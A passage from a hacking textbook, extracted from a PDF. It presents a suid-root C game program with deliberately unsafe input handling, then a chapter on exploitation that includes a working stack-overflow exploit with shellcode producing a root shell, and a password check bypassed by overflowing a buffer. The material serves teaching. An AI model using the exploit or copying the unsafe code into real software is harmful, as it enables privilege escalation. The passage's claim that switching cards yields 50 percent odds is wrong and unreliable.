815015288 1315541117 2080969327 450538726 710528035 907694519 1525415338 1843056422 random values from 1 to 20 2 3 8 5 9 1 4 20 reader@hacking:~/booksrc $ ./a.out RAND_MAX is 2147483647 random values from 0 to RAND_MAX 678789658 577505284 1472754734 2134715072 1227404380 1746681907 341911720 93522744 random values from 1 to 20 6 16 12 19 8 19 2 1 reader@hacking:~/booksrc $

The program’s output just displays random numbers. Pseudo-randomness can also be used for more complex programs, as you will see in this section’s final script.

0x287

A Game of Chance

The final program in this section is a set of games of chance that use many of the concepts we’ve discussed. The program uses pseudo-random number generator functions to provide the element of chance. It has three different game functions, which are called using a single global function pointer, and it uses structs to hold data for the player, which is saved in a file. Multi-user file permissions and user IDs allow multiple users to play and maintain their own account data. The game_of_chance.c program code is heavily documented, and you should be able to understand it at this point.
102
0x 200

game_of_chance.c
#include #include #include #include #include #include #include "hacking.h"

#define DATAFILE "/var/chance.data" // File to store user data // Custom user struct to store information about users struct user { int uid; int credits; int highscore; char name[100]; int (*current_game) (); }; // Function prototypes int get_player_data(); void register_new_player(); void update_player_data(); void show_highscore(); void jackpot(); void input_name(); void print_cards(char *, char *, int); int take_wager(int, int); void play_the_game(); int pick_a_number(); int dealer_no_match(); int find_the_ace(); void fatal(char *); // Global variables struct user player; int main() { int choice, last_game; srand(time(0)); // Seed the randomizer with the current time. if(get_player_data() == -1) register_new_player(); // Try to read player data from file. // If there is no data, register a new player.

// Player struct

while(choice != 7) { printf("-=[ Game of Chance Menu ]=-\n"); printf("1 - Play the Pick a Number game\n"); printf("2 - Play the No Match Dealer game\n"); printf("3 - Play the Find the Ace game\n"); printf("4 - View current high score\n"); printf("5 - Change your user name\n");

Pr og ra mm in g

103

printf("6 - Reset your account at 100 credits\n"); printf("7 - Quit\n"); printf("[Name: %s]\n", player.name); printf("[You have %u credits] -> ", player.credits); scanf("%d", &choice); if((choice < 1) || (choice > 7)) printf("\n[!!] The number %d is an invalid selection.\n\n", choice); else if (choice < 4) { // Otherwise, choice was a game of some sort. if(choice != last_game) { // If the function ptr isn't set if(choice == 1) // then point it at the selected game player.current_game = pick_a_number; else if(choice == 2) player.current_game = dealer_no_match; else player.current_game = find_the_ace; last_game = choice; // and set last_game. } play_the_game(); // Play the game. } else if (choice == 4) show_highscore(); else if (choice == 5) { printf("\nChange user name\n"); printf("Enter your new name: "); input_name(); printf("Your name has been changed.\n\n"); } else if (choice == 6) { printf("\nYour account has been reset with 100 credits.\n\n"); player.credits = 100; } } update_player_data(); printf("\nThanks for playing! Bye.\n"); } // This function reads the player data for the current uid // from the file. It returns -1 if it is unable to find player // data for the current uid. int get_player_data() { int fd, uid, read_bytes; struct user entry; uid = getuid(); fd = open(DATAFILE, O_RDONLY); if(fd == -1) // Can't open the file, maybe it doesn't exist return -1; read_bytes = read(fd, &entry, sizeof(struct user)); // Read the first chunk. while(entry.uid != uid && read_bytes > 0) { // Loop until proper uid is found. read_bytes = read(fd, &entry, sizeof(struct user)); // Keep reading. } close(fd); // Close the file. if(read_bytes < sizeof(struct user)) // This means that the end of file was reached.

104

0x 200

return -1; else player = entry; // Copy the read entry into the player struct. return 1; // Return a success. } // This is the new user registration function. // It will create a new player account and append it to the file. void register_new_player() { int fd; printf("-=-={ New Player Registration }=-=-\n"); printf("Enter your name: "); input_name(); player.uid = getuid(); player.highscore = player.credits = 100; fd = open(DATAFILE, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); if(fd == -1) fatal("in register_new_player() while opening file"); write(fd, &player, sizeof(struct user)); close(fd); printf("\nWelcome to the Game of Chance %s.\n", player.name); printf("You have been given %u credits.\n", player.credits); } // This function writes the current player data to the file. // It is used primarily for updating the credits after games. void update_player_data() { int fd, i, read_uid; char burned_byte; fd = open(DATAFILE, O_RDWR); if(fd == -1) // If open fails here, something is really wrong. fatal("in update_player_data() while opening file"); read(fd, &read_uid, 4); // Read the uid from the first struct. while(read_uid != player.uid) { // Loop until correct uid is found. for(i=0; i < sizeof(struct user) - 4; i++) // Read through the read(fd, &burned_byte, 1); // rest of that struct. read(fd, &read_uid, 4); // Read the uid from the next struct. } write(fd, &(player.credits), 4); // Update credits. write(fd, &(player.highscore), 4); // Update highscore. write(fd, &(player.name), 100); // Update name. close(fd); } // This function will display the current high score and // the name of the person who set that high score. void show_highscore() { unsigned int top_score = 0; char top_name[100]; struct user entry;
Pr og ra mm in g

105

int fd; printf("\n====================| HIGH SCORE |====================\n"); fd = open(DATAFILE, O_RDONLY); if(fd == -1) fatal("in show_highscore() while opening file"); while(read(fd, &entry, sizeof(struct user)) > 0) { // Loop until end of file. if(entry.highscore > top_score) { // If there is a higher score, top_score = entry.highscore; // set top_score to that score strcpy(top_name, entry.name); // and top_name to that username. } } close(fd); if(top_score > player.highscore) printf("%s has the high score of %u\n", top_name, top_score); else printf("You currently have the high score of %u credits!\n", player.highscore); printf("======================================================\n\n"); } // This function simply awards the jackpot for the Pick a Number game. void jackpot() { printf("*+*+*+*+*+* JACKPOT *+*+*+*+*+*\n"); printf("You have won the jackpot of 100 credits!\n"); player.credits += 100; } // This function is used to input the player name, since // scanf("%s", &whatever) will stop input at the first space. void input_name() { char *name_ptr, input_char='\n'; while(input_char == '\n') // Flush any leftover scanf("%c", &input_char); // newline chars. name_ptr = (char *) &(player.name); // name_ptr = player name's address while(input_char != '\n') { // Loop until newline. *name_ptr = input_char; // Put the input char into name field. scanf("%c", &input_char); // Get the next char. name_ptr++; // Increment the name pointer. } *name_ptr = 0; // Terminate the string. } // This function prints the 3 cards for the Find // It expects a message to display, a pointer to // and the card the user has picked as input. If // -1, then the selection numbers are displayed. void print_cards(char *message, char *cards, int int i; the Ace game. the cards array, the user_pick is user_pick) {

printf("\n\t*** %s ***\n", message); printf(" \t._.\t._.\t._.\n"); printf("Cards:\t|%c|\t|%c|\t|%c|\n\t", cards[0], cards[1], cards[2]); if(user_pick == -1) printf(" 1 \t 2 \t 3\n");

106

0x 200

else { for(i=0; i < user_pick; i++) printf("\t"); printf(" ^-- your pick\n"); } } // This function inputs wagers for both the No Match Dealer and // Find the Ace games. It expects the available credits and the // previous wager as arguments. The previous_wager is only important // for the second wager in the Find the Ace game. The function // returns -1 if the wager is too big or too little, and it returns // the wager amount otherwise. int take_wager(int available_credits, int previous_wager) { int wager, total_wager; printf("How many of your %d credits would you like to wager? ", available_credits); scanf("%d", &wager); if(wager < 1) { // Make sure the wager is greater than 0. printf("Nice try, but you must wager a positive number!\n"); return -1; } total_wager = previous_wager + wager; if(total_wager > available_credits) { // Confirm available credits printf("Your total wager of %d is more than you have!\n", total_wager); printf("You only have %d available credits, try again.\n", available_credits); return -1; } return wager; } // This function contains a loop to allow the current game to be // played again. It also writes the new credit totals to file // after each game is played. void play_the_game() { int play_again = 1; int (*game) (); char selection; while(play_again) { printf("\n[DEBUG] current_game pointer @ 0x%08x\n", player.current_game); if(player.current_game() != -1) { // If the game plays without error and if(player.credits > player.highscore) // a new high score is set, player.highscore = player.credits; // update the highscore. printf("\nYou now have %u credits\n", player.credits); update_player_data(); // Write the new credit total to file. printf("Would you like to play again? (y/n) "); selection = '\n'; while(selection == '\n') // Flush any extra newlines. scanf("%c", &selection); if(selection == 'n') play_again = 0; } else // This means the game returned an error, play_again = 0; // so return to main menu.
Pr og ra mm in g

107

} } // This function is the Pick a Number game. // It returns -1 if the player doesn't have enough credits. int pick_a_number() { int pick, winning_number; printf("\n####### Pick a Number ######\n"); printf("This game costs 10 credits to play. Simply pick a number\n"); printf("between 1 and 20, and if you pick the winning number, you\n"); printf("will win the jackpot of 100 credits!\n\n"); winning_number = (rand() % 20) + 1; // Pick a number between 1 and 20. if(player.credits < 10) { printf("You only have %d credits. That's not enough to play!\n\n", player.credits); return -1; // Not enough credits to play } player.credits -= 10; // Deduct 10 credits. printf("10 credits have been deducted from your account.\n"); printf("Pick a number between 1 and 20: "); scanf("%d", &pick); printf("The winning number is %d\n", winning_number); if(pick == winning_number) jackpot(); else printf("Sorry, you didn't win.\n"); return 0; } // This is the No Match Dealer game. // It returns -1 if the player has 0 credits. int dealer_no_match() { int i, j, numbers[16], wager = -1, match = -1; printf("\n::::::: No Match Dealer :::::::\n"); printf("In this game, you can wager up to all of your credits.\n"); printf("The dealer will deal out 16 random numbers between 0 and 99.\n"); printf("If there are no matches among them, you double your money!\n\n"); if(player.credits == 0) { printf("You don't have any credits to wager!\n\n"); return -1; } while(wager == -1) wager = take_wager(player.credits, 0); printf("\t\t::: Dealing out 16 random numbers :::\n"); for(i=0; i < 16; i++) { numbers[i] = rand() % 100; // Pick a number between 0 and 99. printf("%2d\t", numbers[i]); if(i%8 == 7) // Print a line break every 8 numbers. printf("\n"); } for(i=0; i < 15; i++) { // Loop looking for matches.

108

0x 200

j = i + 1; while(j < 16) { if(numbers[i] == numbers[j]) match = numbers[i]; j++; } } if(match != -1) { printf("The dealer matched the number %d!\n", match); printf("You lose %d credits.\n", wager); player.credits -= wager; } else { printf("There were no matches! You win %d credits!\n", wager); player.credits += wager; } return 0; } // This is the Find the Ace game. // It returns -1 if the player has 0 credits. int find_the_ace() { int i, ace, total_wager; int invalid_choice, pick = -1, wager_one = -1, wager_two = -1; char choice_two, cards[3] = {'X', 'X', 'X'}; ace = rand()%3; // Place the ace randomly. printf("******* Find the Ace *******\n"); printf("In this game, you can wager up to all of your credits.\n"); printf("Three cards will be dealt out, two queens and one ace.\n"); printf("If you find the ace, you will win your wager.\n"); printf("After choosing a card, one of the queens will be revealed.\n"); printf("At this point, you may either select a different card or\n"); printf("increase your wager.\n\n"); if(player.credits == 0) { printf("You don't have any credits to wager!\n\n"); return -1; } while(wager_one == -1) // Loop until valid wager is made. wager_one = take_wager(player.credits, 0); print_cards("Dealing cards", cards, -1); pick = -1; while((pick < 1) || (pick > 3)) { // Loop until valid pick is made. printf("Select a card: 1, 2, or 3 "); scanf("%d", &pick); } pick--; // Adjust the pick since card numbering starts at 0. i=0; while(i == ace || i == pick) // Keep looping until i++; // we find a valid queen to reveal. cards[i] = 'Q'; print_cards("Revealing a queen", cards, pick);
Pr og ra mm in g

109

invalid_choice = 1; while(invalid_choice) { // Loop until valid choice is made. printf("Would you like to:\n[c]hange your pick\tor\t[i]ncrease your wager?\n"); printf("Select c or i: "); choice_two = '\n'; while(choice_two == '\n') // Flush extra newlines. scanf("%c", &choice_two); if(choice_two == 'i') { // Increase wager. invalid_choice=0; // This is a valid choice. while(wager_two == -1) // Loop until valid second wager is made. wager_two = take_wager(player.credits, wager_one); } if(choice_two == 'c') { // Change pick. i = invalid_choice = 0; // Valid choice while(i == pick || cards[i] == 'Q') // Loop until the other card i++; // is found, pick = i; // and then swap pick. printf("Your card pick has been changed to card %d\n", pick+1); } } for(i=0; i < 3; i++) { // Reveal all of the cards. if(ace == i) cards[i] = 'A'; else cards[i] = 'Q'; } print_cards("End result", cards, pick); if(pick == ace) { // Handle win. printf("You have won %d credits from your first wager\n", wager_one); player.credits += wager_one; if(wager_two != -1) { printf("and an additional %d credits from your second wager!\n", wager_two); player.credits += wager_two; } } else { // Handle loss. printf("You have lost %d credits from your first wager\n", wager_one); player.credits -= wager_one; if(wager_two != -1) { printf("and an additional %d credits from your second wager!\n", wager_two); player.credits -= wager_two; } } return 0; }

Since this is a multi-user program that writes to a file in the /var directory, it must be suid root. reader@hacking:~/booksrc reader@hacking:~/booksrc reader@hacking:~/booksrc reader@hacking:~/booksrc $ $ $ $ gcc -o game_of_chance game_of_chance.c sudo chown root:root ./game_of_chance sudo chmod u+s ./game_of_chance ./game_of_chance

110

0x 200

-=-={ New Player Registration }=-=Enter your name: Jon Erickson Welcome to the Game of Chance, Jon Erickson. You have been given 100 credits. -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your username 6 - Reset your account at 100 credits 7 - Quit [Name: Jon Erickson] [You have 100 credits] -> 1 [DEBUG] current_game pointer @ 0x08048e6e ####### Pick a Number ###### This game costs 10 credits to play. Simply pick a number between 1 and 20, and if you pick the winning number, you will win the jackpot of 100 credits! 10 credits have been deducted from your account. Pick a number between 1 and 20: 7 The winning number is 14. Sorry, you didn't win. You now have 90 credits. Would you like to play again? (y/n) n -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your username 6 - Reset your account at 100 credits 7 - Quit [Name: Jon Erickson] [You have 90 credits] -> 2 [DEBUG] current_game pointer @ 0x08048f61 ::::::: No Match Dealer ::::::: In this game you can wager up to all of your credits. The dealer will deal out 16 random numbers between 0 and 99. If there are no matches among them, you double your money! How many of your 90 credits would you like to wager? 30 ::: Dealing out 16 random numbers ::: 88 68 82 51 21 73 80 50 11 64 78 85 39 42 40 95 There were no matches! You win 30 credits! You now have 120 credits
Pr og ra mm in g

111

Would you like to play again? (y/n) n -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your username 6 - Reset your account at 100 credits 7 - Quit [Name: Jon Erickson] [You have 120 credits] -> 3 [DEBUG] current_game pointer @ 0x0804914c ******* Find the Ace ******* In this game you can wager up to all of your credits. Three cards will be dealt: two queens and one ace. If you find the ace, you will win your wager. After choosing a card, one of the queens will be revealed. At this point you may either select a different card or increase your wager. How many of your 120 credits would you like to wager? *** Dealing cards *** ._. ._. ._. Cards: |X| |X| |X| 1 2 3 Select a card: 1, 2, or 3: 2 *** Revealing a queen *** ._. ._. ._. Cards: |X| |X| |Q| ^-- your pick Would you like to [c]hange your pick or [i]ncrease your wager? Select c or i: c Your card pick has been changed to card 1. *** End result *** ._. ._. ._. Cards: |A| |Q| |Q| ^-- your pick You have won 50 credits from your first wager. You now have 170 credits. Would you like to play again? (y/n) n -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your username 6 - Reset your account at 100 credits 7 - Quit 50

112

0x 200

[Name: Jon Erickson] [You have 170 credits] ->

4

====================| HIGH SCORE |==================== You currently have the high score of 170 credits! ====================================================== -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your username 6 - Reset your account at 100 credits 7 - Quit [Name: Jon Erickson] [You have 170 credits] -> 7 Thanks for playing! Bye. reader@hacking:~/booksrc $ sudo su jose jose@hacking:/home/reader/booksrc $ ./game_of_chance -=-={ New Player Registration }=-=Enter your name: Jose Ronnick Welcome to the Game of Chance Jose Ronnick. You have been given 100 credits. -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your username 6 - Reset your account at 100 credits 7 - Quit [Name: Jose Ronnick] [You have 100 credits] -> 4 ====================| HIGH SCORE |==================== Jon Erickson has the high score of 170. ====================================================== -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your username 6 - Reset your account at 100 credits 7 - Quit [Name: Jose Ronnick] [You have 100 credits] -> 7 Thanks for playing! Bye. jose@hacking:~/booksrc $ exit exit reader@hacking:~/booksrc $

Pr og ra mm in g

113

Play around with this program a little bit. The Find the Ace game is a demonstration of a principle of conditional probability; although it is counterintuitive, changing your pick will increase your chances of finding the ace from 33 percent to 50 percent. Many people have difficulty understanding this truth—that’s why it’s counterintuitive. The secret of hacking is understanding little-known truths like this and using them to produce seemingly magical results.

114

0x 200

0x300
EXPLOITATION
Program exploitation is a staple of hacking. As demonstrated in the previous chapter, a program is made up of a complex set of rules following a certain execution flow that ultimately tells the computer what to do. Exploiting a program is simply a clever way of getting the computer to do what you want it to do, even if the currently running program was designed to prevent that action. Since a program can really only do what it’s designed to do, the security holes are actually flaws or oversights in the design of the program or the environment the program is running in. It takes a creative mind to find these holes and to write programs that compensate for them. Sometimes these holes are the products of relatively obvious programmer errors, but there are some less obvious errors that have given birth to more complex exploit techniques that can be applied in many different places.

A program can only do what it’s programmed to do, to the letter of the law. Unfortunately, what’s written doesn’t always coincide with what the programmer intended the program to do. This principle can be explained with a joke:
A man is walking through the woods, and he finds a magic lamp on the ground. Instinctively, he picks the lamp up, rubs the side of it with his sleeve, and out pops a genie. The genie thanks the man for freeing him, and offers to grant him three wishes. The man is ecstatic and knows exactly what he wants. “First,” says the man, “I want a billion dollars.” The genie snaps his fingers and a briefcase full of money materializes out of thin air. The man is wide eyed in amazement and continues, “Next, I want a Ferrari.” The genie snaps his fingers and a Ferrari appears from a puff of smoke. The man continues, “Finally, I want to be irresistible to women.” The genie snaps his fingers and the man turns into a box of chocolates.

Just as the man’s final wish was granted based on what he said, rather than what he was thinking, a program will follow its instructions exactly, and the results aren’t always what the programmer intended. Sometimes the repercussions can be catastrophic. Programmers are human, and sometimes what they write isn’t exactly what they mean. For example, one common programming error is called an off-by-one error. As the name implies, it’s an error where the programmer has miscounted by one. This happens more often than you might think, and it is best illustrated with a question: If you’re building a 100-foot fence, with fence posts spaced 10 feet apart, how many fence posts do you need? The obvious answer is 10 fence posts, but this is incorrect, since you actually need 11. This type of off-by-one error is commonly called a fencepost error, and it occurs when a programmer mistakenly counts items instead of spaces between items, or vice versa. Another example is when a programmer is trying to select a range of numbers or items for processing, such as items N through M. If N = 5 and M = 17, how many items are there to process? The obvious answer is M - N, or 17 - 5 = 12 items. But this is incorrect, since there are actually M - N + 1 items, for a total of 13 items. This may seem counterintuitive at first glance, because it is, and that’s exactly why these errors happen. Often, fencepost errors go unnoticed because programs aren’t tested for every single possibility, and the effects of a fencepost error don’t generally occur during normal program execution. However, when the program is fed the input that makes the effects of the error manifest, the consequences of the error can have an avalanche effect on the rest of the program logic. When properly exploited, an off-by-one error can cause a seemingly secure program to become a security vulnerability. One classic example of this is OpenSSH, which is meant to be a secure terminal communication program suite, designed to replace insecure and
116
0x 300

unencrypted services such as telnet, rsh, and rcp. However, there was an offby-one error in the channel-allocation code that was heavily exploited. Specifically, the code included an if statement that read: if (id < 0 || id > channels_alloc) {

It should have been if (id < 0 || id >= channels_alloc) {

In plain English, the code reads If the ID is less than 0 or the ID is greater than the channels allocated, do the following stuff, when it should have been If the ID is less than 0 or the ID is greater than or equal to the channels allocated, do the following stuff. This simple off-by-one error allowed further exploitation of the program, so that a normal user authenticating and logging in could gain full administrative rights to the system. This type of functionality certainly wasn’t what the programmers had intended for a secure program like OpenSSH, but a computer can only do what it’s told. Another situation that seems to breed exploitable programmer errors is when a program is quickly modified to expand its functionality. While this increase in functionality makes the program more marketable and increases its value, it also increases the program’s complexity, which increases the chances of an oversight. Microsoft’s IIS webserver program is designed to serve static and interactive web content to users. In order to accomplish this, the program must allow users to read, write, and execute programs and files within certain directories; however, this functionality must be limited to those particular directories. Without this limitation, users would have full control of the system, which is obviously undesirable from a security perspective. To prevent this situation, the program has path-checking code designed to prevent users from using the backslash character to traverse backward through the directory tree and enter other directories. With the addition of support for the Unicode character set, though, the complexity of the program continued to increase. Unicode is a double-byte character set designed to provide characters for every language, including Chinese and Arabic. By using two bytes for each character instead of just one, Unicode allows for tens of thousands of possible characters, as opposed to the few hundred allowed by single-byte characters. This additional complexity means that there are now multiple representations of the backslash character. For example, %5c in Unicode translates to the backslash character, but this translation was done after the path-checking code had run. So by using %5c instead of \, it was indeed possible to traverse directories, allowing the aforementioned security dangers. Both the Sadmind worm and the CodeRed worm used this type of Unicode conversion oversight to deface web pages. A related example of this letter-of-the-law principle used outside the realm of computer programming is the LaMacchia Loophole. Just like the rules of a computer program, the US legal system sometimes has rules that
Ex pl oit a ti on

117

don’t say exactly what their creators intended, and like a computer program exploit, these legal loopholes can be used to sidestep the intent of the law. Near the end of 1993, a 21-year-old computer hacker and student at MIT named David LaMacchia set up a bulletin board system called Cynosure for the purposes of software piracy. Those who had software to give would upload it, and those who wanted software would download it. The service was only online for about six weeks, but it generated heavy network traffic worldwide, which eventually attracted the attention of university and federal authorities. Software companies claimed that they lost one million dollars as a result of Cynosure, and a federal grand jury charged LaMacchia with one count of conspiring with unknown persons to violate the wire fraud statue. However, the charge was dismissed because what LaMacchia was alleged to have done wasn’t criminal conduct under the Copyright Act, since the infringement was not for the purpose of commercial advantage or private financial gain. Apparently, the lawmakers had never anticipated that someone might engage in these types of activities with a motive other than personal financial gain. (Congress closed this loophole in 1997 with the No Electronic Theft Act.) Even though this example doesn’t involve the exploiting of a computer program, the judges and courts can be thought of as computers executing the program of the legal system as it was written. The abstract concepts of hacking transcend computing and can be applied to many other aspects of life that involve complex systems.

0x310

Generalized Exploit Techniques
Off-by-one errors and improper Unicode expansion are all mistakes that can be hard to see at the time but are glaringly obvious to any programmer in hindsight. However, there are some common mistakes that can be exploited in ways that aren’t so obvious. The impact of these mistakes on security isn’t always apparent, and these security problems are found in code everywhere. Because the same type of mistake is made in many different places, generalized exploit techniques have evolved to take advantage of these mistakes, and they can be used in a variety of situations. Most program exploits have to do with memory corruption. These include common exploit techniques like buffer overflows as well as less-common methods like format string exploits. With these techniques, the ultimate goal is to take control of the target program’s execution flow by tricking it into running a piece of malicious code that has been smuggled into memory. This type of process hijacking is known as execution of arbitrary code, since the hacker can cause a program to do pretty much anything he or she wants it to. Like the LaMacchia Loophole, these types of vulnerabilities exist because there are specific unexpected cases that the program can’t handle. Under normal conditions, these unexpected cases cause the program to crash— metaphorically driving the execution flow off a cliff. But if the environment is carefully controlled, the execution flow can be controlled—preventing the crash and reprogramming the process.

118

0x 300

0x320

Buffer Overflows
Buffer overflow vulnerabilities have been around since the early days of computers and still exist today. Most Internet worms use buffer overflow vulnerabilities to propagate, and even the most recent zero-day VML vulnerability in Internet Explorer is due to a buffer overflow. C is a high-level programming language, but it assumes that the programmer is responsible for data integrity. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower, due to integrity checks on every variable. Also, this would remove a significant level of control from the programmer and complicate the language. While C’s simplicity increases the programmer’s control and the efficiency of the resulting programs, it can also result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. This means that once a variable is allocated memory, there are no built-in safeguards to ensure that the contents of a variable fit into the allocated memory space. If a programmer wants to put ten bytes of data into a buffer that had only been allocated eight bytes of space, that type of action is allowed, even though it will most likely cause the program to crash. This is known as a buffer overrun or buffer overflow, since the extra two bytes of data will overflow and spill out of the allocated memory, overwriting whatever happens to come next. If a critical piece of data is overwritten, the program will crash. The overflow_example.c code offers an example.

overflow_example.c
#include #include int main(int argc, char *argv[]) { int value = 5; char buffer_one[8], buffer_two[8]; strcpy(buffer_one, "one"); /* Put "one" into buffer_one. */ strcpy(buffer_two, "two"); /* Put "two" into buffer_two. */ printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two); printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one); printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, value); printf("\n[STRCPY] copying %d bytes into buffer_two\n\n", strlen(argv[1])); strcpy(buffer_two, argv[1]); /* Copy first argument into buffer_two. */ printf("[AFTER] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two); printf("[AFTER] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one); printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value, value, value); }

Ex pl oit a ti on

119

By now, you should be able to read the source code above and figure out what the program does. After compilation in the sample output below, we try to copy ten bytes from the first command-line argument into buffer_two, which only has eight bytes allocated for it. reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c reader@hacking:~/booksrc $ ./overflow_example 1234567890 [BEFORE] buffer_two is at 0xbffff7f0 and contains 'two' [BEFORE] buffer_one is at 0xbffff7f8 and contains 'one' [BEFORE] value is at 0xbffff804 and is 5 (0x00000005) [STRCPY] copying 10 bytes into buffer_two [AFTER] buffer_two is at 0xbffff7f0 and contains '1234567890' [AFTER] buffer_one is at 0xbffff7f8 and contains '90' [AFTER] value is at 0xbffff804 and is 5 (0x00000005) reader@hacking:~/booksrc $

Notice that buffer_one is located directly after buffer_two in memory, so when ten bytes are copied into buffer_two, the last two bytes of 90 overflow into buffer_one and overwrite whatever was there. A larger buffer will naturally overflow into the other variables, but if a large enough buffer is used, the program will crash and die. reader@hacking:~/booksrc $ ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAA [BEFORE] buffer_two is at 0xbffff7e0 and contains 'two' [BEFORE] buffer_one is at 0xbffff7e8 and contains 'one' [BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005) [STRCPY] copying 29 bytes into buffer_two [AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' [AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAAAAAAAAAAA' [AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141) Segmentation fault (core dumped) reader@hacking:~/booksrc $

These types of program crashes are fairly common—think of all of the times a program has crashed or blue-screened on you. The programmer’s mistake is one of omission—there should be a length check or restriction on the user-supplied input. These kinds of mistakes are easy to make and can be difficult to spot. In fact, the notesearch.c program on page 93 contains a buffer overflow bug. You might not have noticed this until right now, even if you were already familiar with C. reader@hacking:~/booksrc $ ./notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -------[ end of note data ]------Segmentation fault reader@hacking:~/booksrc $

120

0x 300

Program crashes are annoying, but in the hands of a hacker they can become downright dangerous. A knowledgeable hacker can take control of a program as it crashes, with some surprising results. The exploit_notesearch.c code demonstrates the danger. exploit_notesearch.c
#include #include #include char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80"; int main(int argc, char *argv[]) { unsigned int i, *ptr, ret, offset=270; char *command, *buffer; command = (char *) malloc(200); bzero(command, 200); // Zero out the new memory. strcpy(command, "./notesearch \'"); // Start command buffer. buffer = command + strlen(command); // Set buffer at the end. if(argc > 1) // Set offset. offset = atoi(argv[1]); ret = (unsigned int) &i - offset; // Set return address. for(i=0; i < 160; i+=4) // Fill buffer with return address. *((unsigned int *)(buffer+i)) = ret; memset(buffer, 0x90, 60); // Build NOP sled. memcpy(buffer+60, shellcode, sizeof(shellcode)-1); strcat(command, "\'"); system(command); // Run exploit. free(command); }

This exploit’s source code will be explained in depth later, but in general, it’s just generating a command string that will execute the notesearch program with a command-line argument between single quotes. It uses string functions to do this: strlen() to get the current length of the string (to position the buffer pointer) and strcat() to concatenate the closing single quote to the end. Finally, the system function is used to execute the command string. The buffer that is generated between the single quotes is the real meat of the exploit. The rest is just a delivery method for this poison pill of data. Watch what a controlled crash can do.

Ex pl oit a ti on

121

reader@hacking:~/booksrc $ gcc exploit_notesearch.c reader@hacking:~/booksrc $ ./a.out [DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999 -------[ end of note data ]------sh-3.2#

The exploit is able to use the overflow to serve up a root shell—providing full control over the computer. This is an example of a stack-based buffer overflow exploit.

0x321 Stack-Based Buffer Overflow Vulnerabilities
The notesearch exploit works by corrupting memory to control execution flow. The auth_overflow.c program demonstrates this concept. auth_overflow.c
#include #include #include int check_authentication(char *password) { int auth_flag = 0; char password_buffer[16]; strcpy(password_buffer, password); if(strcmp(password_buffer, "brillig") == 0) auth_flag = 1; if(strcmp(password_buffer, "outgrabe") == 0) auth_flag = 1; return auth_flag; } int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(0); } if(check_authentication(argv[1])) { printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); printf(" Access Granted.\n"); printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); } else { printf("\nAccess Denied.\n"); } }

This example program accepts a password as its only command-line argument and then calls a check_authentication() function. This function allows two passwords, meant to be representative of multiple authentication
122
0x 300

methods. If either of these passwords is used, the function returns 1, which grants access. You should be able to figure most of that out just by looking at the source code before compiling it. Use the -g option when you do compile it, though, since we will be debugging this later. reader@hacking:~/booksrc $ gcc -g -o auth_overflow auth_overflow.c reader@hacking:~/booksrc $ ./auth_overflow Usage: ./auth_overflow reader@hacking:~/booksrc $ ./auth_overflow test Access Denied. reader@hacking:~/booksrc $ ./auth_overflow brillig -=-=-=-=-=-=-=-=-=-=-=-=-=Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=reader@hacking:~/booksrc $ ./auth_overflow outgrabe -=-=-=-=-=-=-=-=-=-=-=-=-=Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=reader@hacking:~/booksrc $

So far, everything works as the source code says it should. This is to be expected from something as deterministic as a computer program. But an overflow can lead to unexpected and even contradictory behavior, allowing access without a proper password. reader@hacking:~/booksrc $ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -=-=-=-=-=-=-=-=-=-=-=-=-=Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=reader@hacking:~/booksrc $

